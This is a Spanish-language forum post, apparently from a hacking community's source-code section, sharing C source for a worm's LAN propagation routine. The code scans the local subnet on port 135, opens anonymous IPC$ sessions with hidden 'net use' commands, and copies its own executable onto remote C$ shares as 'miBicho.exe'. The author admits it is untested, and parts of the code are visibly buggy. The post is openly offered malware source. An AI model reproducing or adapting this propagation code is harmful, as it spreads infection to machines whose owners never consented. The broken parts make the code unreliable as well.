Bueno, algo obsoleto que ya no da sus mejores resultados pero que me sirvió para practicar y aprender . No llegué a testearla por problemas personales con el router ¬¬', pero supongo que funciona .

Código: Seleccionar todo

////////////////////////////////////////////////////////////////
//Autor: Hacker_Zero
//Web: http://www.eduhack.es
//Descripcion: Función de propagación Usando NetBios
////////////////////////////////////////////////////////////////


void InfectLAN()
{
	_CopyMemory miCopyMemory=NULL;
	miCopyMemory=(_CopyMemory)GetProcAddress(GetModuleHandle("KERNEL32.DLL"),"RtlMoveMemory");

	//Obtenemos nuestra ruta
	LPSTR AppName=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
	GetModuleFileName(0,AppName,MAX_PATH);

	WSADATA WSD;
	SOCKET hSocket;
	struct hostent *lpHost=NULL;
	struct in_addr addr;
	struct sockaddr_in saddr;

	WSAStartup(MAKEWORD(2,2),&WSD);
	hSocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

	//Obtenemos nuestra ip local
	LPSTR lpHostName=(LPSTR)GlobalAlloc(GPTR,256);
	gethostname(lpHostName,256);
	lpHost=gethostbyname(lpHostName);
	addr.s_addr = *(u_long *)lpHost->h_addr_list[0];
	LPSTR lpLocalIP=inet_ntoa(addr);

	DWORD lenLocalIP=lstrlen(lpLocalIP);

	//Obtenemos la puerta de enlace de la ip local, Ej: '192.168.1.'
	for(DWORD i=0;lpLocalIP[lenLocalIP-i]!='.';i++)
	{
			lpLocalIP[lenLocalIP-i]=0;
	}

	//Vamos recorriendo todas las ip's posibles con la puerta de elnace obtenida '192.168.1.X'
	//i=33-> Cambiar por 0 en caso de que se desee, la mayoría de routers tienen .33 como primera dirección
	for(i=33;i<=255;i++)
	{
		LPSTR RemoteLocalIP=(LPSTR)GlobalAlloc(GPTR,16);
		CHAR LastIpNumber[3];

		wsprintf(LastIpNumber,"%d",i);;

		lstrcat(RemoteLocalIP,lpLocalIP);
		lstrcat(RemoteLocalIP,LastIpNumber);

		lpHost=gethostbyname(RemoteLocalIP);
		
		//Preparamos la estructura para conectar
		saddr.sin_family=AF_INET;
		saddr.sin_port=htons(135);
		saddr.sin_addr = *((struct in_addr *)lpHost->h_addr);
		RtlZeroMemory(&saddr.sin_zero,8);
		
		//Comprobamos si se logra la conexión
		if(connect(hSocket,(sockaddr*)&saddr,sizeof(sockaddr))!=-1)
		{
			//net use \\192.168.1.34\ipc$ "" /user:""
			LPSTR Comando=(LPSTR)GlobalAlloc(GPTR,MAX_PATH*2);
			lstrcat(Comando,"net use \\\\");
			lstrcat(Comando,lpHost->h_name);
			lstrcat(Comando,"\\ipc$ \"\" /user:\"\"");
			WinExec(Comando,SW_HIDE);
			
			RtlZeroMemory(&Comando[0],MAX_PATH*2);

			//copy AppName "\\192.168.1.34\c$\miBicho.exe"
			lstrcat(Comando,"copy \"");
			lstrcat(Comando,AppName);
			lstrcat(Comando,"\" \"\\\\");
			lstrcat(Comando,lpHost->h_name);
			lstrcat(Comando,"\\c$\\miBicho.exe");
			WinExec(Comando,SW_HIDE);

			GlobalFree(Comando);
		}

		GlobalFree(RemoteLocalIP);
		GlobalFree(LastIpNumber);
	}
}
Última edición por Hacker_Zero el 19 Jun 2009, 21:42, editado 1 vez en total.
Responder

Volver a “Fuentes”